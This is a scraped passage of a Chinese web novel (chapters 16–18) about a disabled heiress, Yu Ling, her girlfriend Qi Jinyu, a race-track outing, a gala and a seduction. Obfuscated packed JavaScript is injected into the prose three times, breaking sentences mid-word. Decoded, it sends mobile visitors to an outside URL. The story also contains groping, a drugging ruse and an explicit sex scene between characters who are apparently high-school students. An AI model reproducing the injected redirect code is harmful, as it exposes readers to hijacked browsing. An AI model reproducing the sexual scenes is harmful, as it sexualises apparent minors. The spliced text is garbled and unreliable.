祁今渔爱怜地摸了摸被她吮吸的红肿的嘴唇,满是怜惜道:“小泠辛苦了。” 俞泠推开祁今渔不安分的手指,抽了一张纸,边咳嗽,边擦嘴,听见祁今渔的话,忍不住给她翻了个白眼。 看见俞泠看这样生动的表情,祁今渔笑得更开心了。 她将车内的音乐打开,轻缓的轻音乐回荡。祁今渔递给俞泠一杯温水,商量的语气问道:“小泠,想不想去飙车?” 吓得俞泠差点没接稳水杯,祁今渔眼疾手快地稳住,又一副十分好说话的模样,极有耐心地解释道: “后天高三年级的级长竞选结果就会出来,不过非常抱歉的是,到时候我恐怕没有时间陪小泠一起庆祝了。” 竟直接默认最后的结果,一定是俞泠当选,没有任何其他的可能。 她的眼眸中当真盛着歉意,满满当当,十分真挚地诉说着今天接俞泠的理由。 只是刚才祁今渔毫无顾忌的接吻,让她现在的这些理由都像是浮萍一般站不住脚,因此俞泠冷笑道: “是你想亲我的借口吧。” 果不其然,眼眸中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15805589|175132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的歉意自然地过渡成了赞赏和笑意: “不愧是小泠。不过小泠现在是我的女朋友,这是很正常的吧?” “爱一个人,就是会控制不住地想和她亲亲抱抱。”祁今渔认真地阐述着她的恋爱观。 俞泠懒得同祁今渔掰扯这些,她继续问道:“所以你庆祝的方式,是飙车?” 让她一个腿残的人飙车? ** 这是一片开阔到令人屏息的地段。赛车场占地数十公顷,四周由高大的防护墙环绕,远处是修剪整齐的香樟林和私人庄园的轮廓。 两人刚进去不久,迎面就撞见了一个人。 “呦,祁今渔,真巧,今天竟然能遇见你,哦,还有你的小女朋友?” 来人是个很张扬的红发女人,大片雪白的皮肤露在空中,机车服穿得松垮不堪,喝醉酒一般脸上两团异常的红晕,连声音都是黏黏糊糊的,完全一个酒鬼。 祁今渔推着轮椅的动作停了下来,她不紧不慢地回道:“好久不见,宋姐。” 宋姐? 俞泠扬了扬眉,心下有了几分猜测。 于是她便照猫画虎地也打招呼道:“第一次见面,你好,宋姐。” 乖巧的笑容,配上苍白的脸色,显得十分无害。 听见这句,红发女人眯了眯眼,眼神终于清明了些,她看清楚了俞泠的长相。 待再看到俞泠身下那代表性十足的轮椅,便有些意味深长地笑了起来: “哦——原来是俞家的那孩子——” “说起来,你还应该感谢我的。” 接受到俞泠疑惑的目光后,也一句也不解释,满身酒气,大摇大摆地走了。 “看来今天不是我飙车的好时机,我可不是一个会打扰小情侣的人。” 给了祁今渔和俞泠一个“我都懂”的暧昧眼神。 连路都走得七扭八歪,任凭红如烈火的发丝在空中乱卷。 待女人走之后,俞泠问祁今渔:“宋家的继承人?” 祁今渔勾着唇点头:“我们小泠真聪明。” “你和她很熟?” “小泠是吃醋了吗?” 俞泠白了还想要逗她的祁今渔一眼:“她为什么说,我应该感谢她?” 她的交际圈实在寡淡地可怕,即使是五大家族的人,也仅小时候偶尔见过几次。譬如今天的这位酒鬼宋小姐,今天算是初次见面,何来感谢一说? “可能因为宋则灵这家伙今天喝了酒,我们使用赛车场的话刚好阻止了一个酒鬼飙车吧。” 一听,俞泠就知道祁今渔没有说真话,她有些不耐地皱眉:“祁今渔!” 祁今渔只好投降,便推着俞泠向车库走去,叹了一口气,开始解释道:“宋家一向和陆家不对付。” 俞泠的手猝然握紧。 俞泠很聪慧,即使她鲜少了解或者参与到家族博弈中。饶是如此,她一听到祁今渔这句话,就把所有的事情串起来了。 她本以为,最多只有俞家和祁家在级长竞选上出了力,现在还多了一个宋家,向来与陆家不对付的宋家。 本来还可以解释是后辈的友好竞争,一下子就不对劲起来了。 她便冷笑:“我可真厉害,让三个家族合力把我送上级长之位。” 更重要的是,这样一来,陆离的处境,一定比她预想得要糟糕上不少。 她好像更加对不起陆离了。 祁今渔的脚步停下了。 她转到俞泠的正面,俯身弯腰,双手撑在轮椅的两侧,把俞泠禁锢在她和轮椅的小小空间中。 那双向来含笑的眼眸难得有些惆怅,宛若一滩春水,有些委屈地蹙了蹙眉: “小泠,你现在在想着谁呢?” “按平常的性子,小泠一定不会在意这种小事。所以小泠现在生气,是为了谁呢?” 声音黏黏腻腻的,仿若融化了的棉花糖,携带着委屈,被风轻轻吹到了俞泠的耳廓里。 17. 第 17 章 刺激。 很刺激。 非常刺激。 刚开始时,车开得很平稳。 俞泠还有心情欣赏半山腰的草木葱郁。 然后,祁今渔一点一点开始加速。 就像你在乘坐一辆无法停下来的列车。而你明知,列车驶向的地方是死神的镰刀。 在逐渐加速的过程中,你可以清晰地感受到全身血液开始沸腾。 风刮在耳侧,呼啸作响。 俞泠绑着安全带,脸色有些苍白,在头盔的禁锢下,她可以听见自己的呼吸声越来越重。 她的旁边是祁今渔,一身红色机车服,同样戴着机车头盔,赛车在她的操纵下疾驰。 一阵失重感袭来。 急转弯时惯性将她抛向另一边,又被安全带死死地拦住。她感觉身体中的器官都在摇晃。 快到终点的时候,车速减缓。 她这才有时间扭头看向祁今渔。 祁今渔神情未变,双眼专注向前,仿佛并未察觉她的注视。 赛车停稳后,祁今渔摘下头盔,栗色的长卷发随动作甩落,在阳光照耀下宛若流动的绸缎。 把头盔放到一边,祁今渔绕到副驾驶位上,动作轻柔地替俞泠取下头盔。 视野豁然开阔,俞泠一抬眼,便撞入那双琥珀色眼眸。 祁今渔笑着问:“小泠,很喜欢吧?” 俞泠不知道在她进行快穿任务之前的人生有没有飙车过,至少在这个世界,她从未有过如此惊心动魄的时刻——如果五岁那次车祸不算的话。 祁今渔的车速并不算慢,但操控得非常稳。全程只在场地内宽阔跑道上驶了一圈,规避了任何危险可能,确保了极致的安全。 或许对其他人有些无聊,但这种程度的刺激,对俞泠来说已经是极为难得。 第一个世界的身体就是个腿残,刚学会走路没几年就再度失去行走能力,一直被困在轮椅之中。 想到这里,俞泠难免有些可惜。下个世界如果能够站起来,她一定要多走走,每天跑个几公里也不嫌多。 肾上激素在飙升,她身体的每个细胞都在雀跃。大口呼吸,先是劫后余生般的空白,然后是缓缓爬升上来占据整个脑袋的兴奋。 俞泠的眼神还有些恍惚,但她点了点头。 “喜欢!”眼神跃起。 “那小泠跟我走吧?” “什么?” 祁今渔话题跳得太快,俞泠一时没有反应过来。 祁今渔笑着摇了摇头:“没什么。” 说着,弯腰解开俞泠的安全带。 俞泠鼻尖嗅到了一股清新的白茶的花香,祁今渔柔顺的发丝蹭过她的脸颊又离开。 祁今渔轻轻将她抱出车座,放回轮椅。 俞泠却不依不挠:“祁今渔,你不能话只说一半。” “快点说,你刚才说的‘跟你走’是什么意思。” 祁今渔的手放到了俞泠的唇瓣上,听见俞泠这命令式的强硬语气,惩罚式地按了按。 直到俞泠呜咽着眼神控诉,这才慢悠悠地收回了手。 “小泠,你现在是我的恋人吧?” “自然。”虽然之后不一定,但现在至少还是的。 “那当然是——私奔。” 俞泠不可思议:“私奔?”音调都高了几分。 “祁今渔,你是家里违法要进去了吗?”语气十分诚恳。 “还是被祁阿姨发现你不是亲生女儿,抛弃你了?” “先说好,如果真是这样,我是不可能和你一起的。我才不会跟一个没有钱的人在一起。” 俞泠毫不掩饰她的恶劣的大小姐脾气,皱着眉道。 祁今渔被俞泠逗笑:“怎么会?小泠和我在一起的话,会是世界上最有钱的小公主。” “而且,即使被她们发现真相,也不要紧。祁家只能是我的。”祁今渔向来话留三分,温润圆滑,现在少有的在俞泠面前透露几分骨子里的矜傲。 赛车已经完毕,祁今渔明白俞泠不适合再进行一圈,便推着俞泠向休息室走去,准备先休息一会儿。 “那为什么要私奔?你有钱,我也有钱。你家里人反对?”俞泠莫名在这个问题上很执着。 祁今渔幽幽叹了一口气,仿佛是被俞泠逼迫不得已才说出来似的: “我的意思是——” “无论以后发生什么,小泠只和我在一起,好不好?” 无论以后发生什么……只和她在一起…… 祁今渔的话从俞泠的上方传来,俞泠敏锐地捕捉到这两个重点。很难不怀疑发生了什么事情,是连祁今渔都有些束手无策的事情。 她眨了眨眼,直截了当地拒绝:“祁今渔,我们只是现在是恋人。” 祁今渔低低笑了。 此时两人走在空旷的通道中,四周静得只剩下脚轮滚动的声响。 “小泠,可是我想做你永远不变的恋人。” 刻意压低声音,带着股引诱的腔调,祁今渔缓缓劝导着俞泠:“小泠,你看,其他人都认为你应该像朵温室的花,只适合在室内养着。” “可我不同,我知道小泠身体的每一处地方,我知道小泠真正想要的是什么。” “比如今天,我知道小泠一定会喜欢飙车的感觉。” “小泠想做什么,我都会毫无理由地支持。我会支持小泠的所有,支持小泠的一切。” 祁今渔的声音围绕在俞泠的耳朵旁,像蛊惑人心的深海妖精,回声游荡在空旷的空间中。 “所以,小泠答应我,好不好?” 祁今渔惯用的伎俩,就是用命令的前半句,加上个询问的结尾,温柔中夹杂着不容拒绝的强势。 俞泠本想拒绝,可她听到那句“知道小泠真正想要的是什么”,心思微动。 坐在轮椅上,她仰起头,与祁今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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由于身体原因,送过来的定制礼裙都是经过特殊改造的,方便她坐在轮椅上。腰线略高,从胸下收起,轻盈层叠的裙摆上点缀着细小的珍珠,从裙褶缝隙中隐隐泛出光泽,在坐姿时依旧保有修饰身形的效果。 肤色过于白,气质柔弱,五官却近乎昳丽。平常无色的嘴唇,此刻涂上了明艳的口红,竟显出几分凌厉与生人勿近的疏冷美感,像是一株开在雪地里的娇艳玫瑰,脆弱却带刺。 帝丹学院向来不会在公众场合直接宣布胜任人选,而是会在开场前就公开结果。毕竟每一方都是权贵,学院不会做得罪人的事情。 因此,今早一醒来,她就知晓了这场有些玩笑似的级长竞选结果。 她会是这一届的高三级长。 18. 第 18 章 难得的祁今渔没有在她身边。 上次带她去飙车的借口——胜任之后无法陪她庆祝,俞泠原以为不过是随口一说,没想到竟是真的。 自从两人成为恋人的关系后,祁今渔几乎寸步不离,黏她黏得很紧。 她是一只太会调情的狐狸,不理她时会委屈地撒娇,太过分的时候就会用那双琥珀色的眼眸似笑非笑地看着你。 如今,身边乍然没有这样一个缠着她的人,俞泠不得不承认—— 她居然有点别扭。 管家在后面小心翼翼地推着轮椅,同时小声告诉俞泠,上前主动打招呼的是哪个家族的哪位小姐。 俞泠扮演的是暴躁傲娇大小姐,因此正好省了客套的麻烦。 面如桃李的少女,眉毛一挑,语气恶劣:“什么?下周的聚餐?我又和你不熟,为什么要来邀请我?” 面前的女孩,显然是没想到俞家的大小姐是这样的脾气,听见这样不客气的回应后,她本该是因被冒犯而生气的。 可偏偏眼前的病弱大小姐,长相过于惊艳。 尤其那双杏眸,直勾勾地盯着你的时候,仿佛她的世界只有你一个人似的。明明态度刻薄,可她那种将病弱与昳丽融于一体的气质,却叫人心跳漏了一拍。 愣了半秒,最后掩着红透的脸颊,丢下一句“总之随时欢迎俞小姐加入”,就仓皇逃走了。 俞泠不解地望着女孩的背影,再转头一看,四周尽是蠢蠢欲动的目光,顿时心烦意乱。 她示意管家把她推到一个人少的安静角落。 拦下路过的侍从要了一块杏仁蛋糕,她慢慢吃起来,安静地坐着。 这时,学院工作人员过来与管家商量等会的胜任仪式。管家环顾四周,远处俞伶伊正朝这里走来,便放下心来: “小姐,二小姐马上就来。我先去处理些事务,马上回来。” 俞泠随意地点了点头。 从前,她抱怨自己的社交圈太窄。如今面对如此多的陌生面孔,她反倒没有去结交的欲望,甚至有些反感如此拥挤的场合。 想到祁今渔那过于偏执的占有欲,俞泠突然发现,她竟对此适应良好。 真是太可怕了…… 俞泠怔怔出神时,身后突然响起一阵杂乱的高跟鞋声。 她回头望去,竟不是俞伶伊,而是昨日才打过照面的宋则灵。 红色大波浪,深沟包臀裙,在这种正式的场合,她穿得明目张胆又异常火辣。 不过,她是宋家的人,除了五大家族外,没有人敢随意置喙这个脾气火爆的女人。 依旧七扭八歪的走姿,一手端着高脚杯,晃晃悠悠地来到了俞泠的身边。 彼时俞泠正低头给俞伶伊打字,询问她现在的位置,身前忽地罩下一片阴影。 她抬头,头顶立马陷入到一片软绵绵的触感中。 醇香的红酒味,混着女人的香水味,隔着布料都能感受到温热,那一瞬间,她像是被人整个拥入怀中。 俞泠的脸倏地红了大半,连忙将身前人推开。 谁料这一个动作,反倒使女人趔趄了一下,杯中清透的酒液,摇摇晃晃,从杯沿处溢出,滴落到女人的胸口处。 宋则灵的身材傲人,此时胸前酒渍晕开,布料上一团深色,那双染着醉意的眸子饶有兴趣地盯着俞泠,在这种时刻颇有些不正经的暧昧。 俞泠皱眉,声音冷下来:“宋则灵,你来干什么?” 宋则灵仰头将杯中仅剩的一点酒饮下,晃着空了的高脚杯,一个字一个字像是黏在了一起: “庆祝我们俞家大小姐成功打败了陆家大小姐,多么可喜可贺的一个时刻。” “陆离输掉后,都拉不下面子来参加这次晚宴,多么罕见的场面。” “你说是不是,小俞泠?” 夸张轻佻的话语让俞泠本能不喜,可她也懒得和一个酒鬼计较。 “比起我来说,宋姐姐的衣服都湿了,这才是更要紧的事吧?”她不咸不淡地回嘲。 “啊呀,衣服湿了不要紧——” 宋则灵勾着眼尾,一双狐狸眼带着惑人的媚意,猛地抓过俞泠的手,直接按上自己的胸口。 正是被酒液染湿的地方。 红发女人向前靠了靠,俞泠手掌中那片柔软愈发明显。 “要是另外一个地方湿了,那才算是要紧的事呢~” 媚眼如丝,吐气如兰,宋则灵弯腰贴着俞泠的耳朵低语呵气。 俞泠目瞪口呆,头一次遇见这种情况,向来毒舌的嘴巴也变得不利索起来,憋红了脸,怒道: “宋、宋则灵!快放开我!” 宋则灵的力气自然比她大,俞泠试图挣脱无果。 见俞泠这副模样,宋则灵的眸子兀地一亮: “怎么这么害羞?原来小俞泠和祁今渔还没做过吗?” 话音不带丝毫羞赧,直白显露的话极其自然地从宋则灵口中说出。 俞泠脸上的绯红更明显,被刻意用气息触动的耳垂,更是红到几欲滴血。 “和你有什么关系!” 宋则灵故作遗憾:“不会是因为你这个半残的身体,连做都做不了吧。” “啧,真是替人失望。” 已经不能用玩笑或者挑逗来解释了,宋则灵的这句话带着讥笑,简直是恶意十足。 俞泠面上怒意沉沉,唇角线条紧绷。 还不等俞泠回话,一双手猛地将红发酒鬼扯开。 俞泠的手终于解放。 是俞伶伊。 俞泠第一次看到俞伶伊这副模样。 一身剪裁得体的高定鱼尾礼裙,勾勒出女生纤细的腰身。海藻般的波浪卷发,略微上挑的眼尾,浅浅晕染着海棠花般的嫣红,衬得肤色愈发皎洁。 她的身材还带着少女的清瘦轮廓,胸脯尚未丰满,却在那份高贵中揉进了未脱稚气的灵巧,呈现出一种介于青涩和成熟之间的美。 涂着口红的唇张张合合,吐露出来的话隐含怒意: “宋小姐,把人家的手放自己的胸上,哪怕您真是喝醉了酒,也不怎么好解释这种无礼的行为吧?” “还有,刚才我来的时候,宋阿姨正皱着眉在找你呢。” 与俞泠一般无二的杏眸瞪着红发女人,燃起的火焰是明明晃晃的威胁。 宋则灵咯咯笑了几声,摇晃着早已经空了的高脚杯,意味深长地看着把俞泠挡在自己身后的俞伶伊: “小俞总,怎么嘴里跟含了火药似的呢?平常可见不到小俞总这副模样。” 说完,也不再纠缠,踉踉跄跄地离开。 “小俞总,祝你姐姐今夜玩得尽兴呀。”一边走,一边笑着扔下意味不明的话语。 俞伶伊盯着女人离开的方向,皱着眉,忍不住思索这到底是什么意思,听起来可不像是字面意义。 “宋则灵这人发什么癫。”俞泠竖着眉,狠狠骂了宋则灵一顿。 面前女孩的脸颊染上了一层薄怒,使得浅粉的腮红更加生动。 不过左右不是自己的攻略人物,只要对自己的任务没影响,俞泠就懒得探究她具体是什么心理。 俞伶伊望向她的姐姐,语气带着歉意:“抱歉姐姐,我来迟了。半路上撞见祁阿姨,她拉住我说些了话,因此耽误了一些时间。” “祁阿姨说,她身为帝丹学院的董事之一,合该出席一年一度的帝丹晚宴。” 祁阿姨? 俞泠的眼神微动。 她顺着俞伶伊过来的方向寻去,果然在被人群拥簇的正中央发现了祁莲。 她神情温和,却难掩脸上的病色,似乎身体状况愈发恶化。 俞泠又转头观察俞伶伊的表情。俞伶伊的面色如常,正一脸担心地注视着她: “姐姐,宋则灵还有对你做些什么其他的吗?” “她说我这个半残的身体,连做.爱都做不了。”俞泠干脆了当地说出这句话。 俞伶伊的表情终于有了片刻的僵硬。 她下意识垂下视线,手指微微一紧。浓密的羽睫微颤,遮住了眸中的情绪。 片刻后,抬起头,面上已经换了生气的表情,眼底怒焰骤起。 “宋则灵……”三个字,被她念得咬牙切齿,仿佛恨不得将这三个字碾碎咽下。 “你怎么过来了?今天不是你出差的日子吗?”俞泠轻巧地把这个话题揭过。她知道,俞伶伊一定会帮她报复宋则灵的。 “特地来陪姐姐的呀,等陪姐姐回家后我再离开。”一瞬间,俞伶伊又恢复到平常的甜软模样,对俞泠撒娇道。 仿佛曾经对俞泠说出“希望姐姐的腿永远都好不了”的人,不是她一样。 俞泠不置可否。 ** 这场晚会其实很没意思。 谋划了这么长时间,却没有出现期待已久的攻略主角齐聚的名场面。 一个祁今渔从头到尾没在晚宴上露面,一个俞伶伊守在她的身边还得进行商业应酬,一个陆离疑似败家心灰意冷。 俞泠难免有些意兴阑珊。 宴会过半,她忍不住打了一个哈欠,眼角溢出生理性泪水,脸色有些怠倦。 瞥见俞泠的动作,俞伶伊便提议提前回家。 “好。”俞泠爽快答应,根本不去思考身为宴会主角却提前离场这个行为多不适当——她是个傲慢任性的大小姐,这足以解释一切了。 但是走到外面,甚至马上要进车子里的时候,俞伶伊的脚步却停下来了。 俞伶伊是抱着俞泠出来的,晚风有些凉,俞泠的脸埋在俞伶伊的脖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还没等俞泠反应过来,陆离便像是终于撑不住一般,身子一歪,整个人猝不及防地扑倒在她怀里。 极轻的嘤咛声萦绕在俞泠的耳边:“拜托……” 声线颤抖,往日清冷的声音此刻染上了隐忍和情动的沙哑,伴随着细微的轻喘声。 “拜托…不要再拒绝我了……”哀求道。 俞泠本要推开的手突然一停。 ** 所以,事情是怎么发展成这个样子的呢? 俞泠望着天花板,灯光被刻意调成了暧昧的粉红色。 酥麻感从被指尖滑过的四处传来,引起身体一阵阵战栗。 “可以吗?” 俞泠对视上一双颜色极深的黑眸。瞳孔漆黑如墨,宛若黑洞般吸附着她的所有情绪。 明明是询问的口吻,可俞泠知道,这种时刻容不得她反对。 病弱的大小姐咬着嘴唇,满脸忍耐的神色,转过头,将自己的脸埋在被褥中。 身体的异样让她无所适从,往日骄矜的声音,此刻是甜腻颤抖的一声声喘息。 又是一次进攻。 陆离根本没有留给俞泠回答的机会。 过于激烈的高潮甚至让这副久病的身体产生了眩晕的感觉。 陆离这种时候倒是体贴,稍稍缓了一下攻势。 俞泠喘着气,被情潮染上的脸庞像揉碎了的玫瑰,又像熟透了的饱满果子。 “陆离——”俞泠咬着牙吐出了这两个字。 分明该是生气的语气,然而俞泠的声音细微颤抖,被她念得颇有几分求饶的意味。 “你是故意的。” 她以为这是本小说世界,陆离的中药是小说情节之一。如今看来,是她小看陆离了。 故意在她面前露出被人下药的模样,将她骗到酒店,然后装作醉酒的样子哄骗她上床。 甚至今天的一系列反常,祁今渔的缺席,俞伶伊的提前离开,说不定都是这家伙谋划好的。 ——当然,这也正好合了俞泠的意。 宋则灵的那句话自然是假的。 嘴唇传来撕咬的感觉,床上的两幅身躯紧紧地交叠在一起。 酥酥麻麻的感觉传遍全身,直到指尖,俞泠被人压倒在床上,像是一条无力搁浅、只能任人摆布的鱼。 陆离听见俞泠的话,也不多加解释,依旧秉持着惜字如金的冷淡语调,细碎的吻从被蹂躏的嘴唇再到红透了的耳垂。 声音沙哑低沉,咬字十分清晰: “怎么?事到如今,想从床上逃走吗?”